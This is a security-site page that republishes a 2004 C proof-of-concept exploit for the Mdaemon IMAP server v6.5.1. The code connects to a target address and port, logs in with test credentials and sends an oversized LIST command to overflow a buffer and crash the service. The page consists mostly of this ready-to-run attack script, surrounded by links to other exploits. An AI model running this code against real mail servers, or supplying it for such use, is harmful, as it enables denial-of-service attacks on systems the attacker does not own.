首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mdaemon IMAP server v6.5.1 Remote exploits
来源:vfocus.net 作者:D_BuG 发布时间:2004-09-28  

Mdaemon IMAP server v6.5.1 Remote proof-of-concept exploit

/////////////////////////////////////////////////////////////
// Remote proof-of-concept exploit //
// for //
// Mdaemon IMAP server v6.5.1 //
// and //
// possible other version. //
// Find bug: D_BuG. //
// Author: D_BuG. //
// D_BuG@bk.ru //
// Data: 16/09/2004 //
// NOT PUBLIC! //
// //
/////////////////////////////////////////////////////////////

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int sock,err;
struct sockaddr_in sa;


int main (int argc, char *argv[])

{

printf("Remote proof-of-concept(buffer overflow) exploit\n");
printf(" for \n");
printf("Mdaemon IMAP server v6.5.1 and possible other version.\n");
if(argc!=3)
{
printf("Usage: %s <IPADDRESS> <PORT>\n",argv[0]);
printf("e.g.:%s 192.168.1.1 143\n",argv[0]);
exit(-1);
}


sa.sin_family=AF_INET;
sa.sin_port=htons(atoi(argv[2]));
if(inet_pton(AF_INET, argv[1], &sa.sin_addr) <= 0)
printf("Error inet_pton\n");

sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

printf("[~]Connecting...\n");

if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) <0)
{
printf("[-]Connect filed....\nExit...\n");
exit(-1);
}


char send[]="0001 LOGIN ""test"" ""console""\r\n";
char send3[]=
"007x LIST "
"""aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAc"""
"\r\n\r\n";
char rcv[1024];


printf("[+]Ok!\n");
sleep(2);
printf("[~]Get banner...\n");
if(read(sock,&rcv,sizeof(rcv)) !=-1){}

if(strstr(rcv,"IMAP")==NULL)
{
printf("[-]Failed!\n");
}
else
{
printf("[+]Ok!\n");
}

printf("[~]Send LOGIN and PASSWORD...\n");
write(sock,send,sizeof(send)-1);
sleep(2);
memset(rcv,0,1024);
if(read(sock,&rcv,sizeof(rcv)) !=-1){}

if(strstr(rcv,"OK")==NULL)
{
printf("[-]Failed login or password...\nExit...");
exit(-1);
}

printf("[+]Ok!\n");

printf("[~]Send LIST...\n");
write(sock,send3,sizeof(send3)-1);
sleep(2);
memset(rcv,0,1024);
if(read(sock,&rcv,sizeof(rcv)) !=-1){}

if(strstr(rcv,"BAD")!=NULL)
{
printf("[-]Exploit filed...please check your version Mdaemon!\n");
printf("[-]Exit...\n");
exit(-1);
}
printf("[+]Ok!\n");
printf("[+]Crash service.....\n");
printf("[~]Done.\n");

close(sock);

return 0;

}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Windows JPEG GDI+ Heap Overflo
·Mdaemon smtp server v6.5.1 exp
·HP-UX本地语言系统格式化串漏洞E
·glFTPd local stack buffer over
·HP-UX本地语言系统格式化串漏洞
·0x00 vs ASP file upload script
·Windows JPEG GDI+ Overflow Adm
·Windows JPEG Downloader Toolki
·Windows JPEG GDI+ Overflow She
·Windows JPEG GDI+ All in One R
·Windows JPEG Processing Buffer
·Remote exploit for Zinf 2.2.1
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved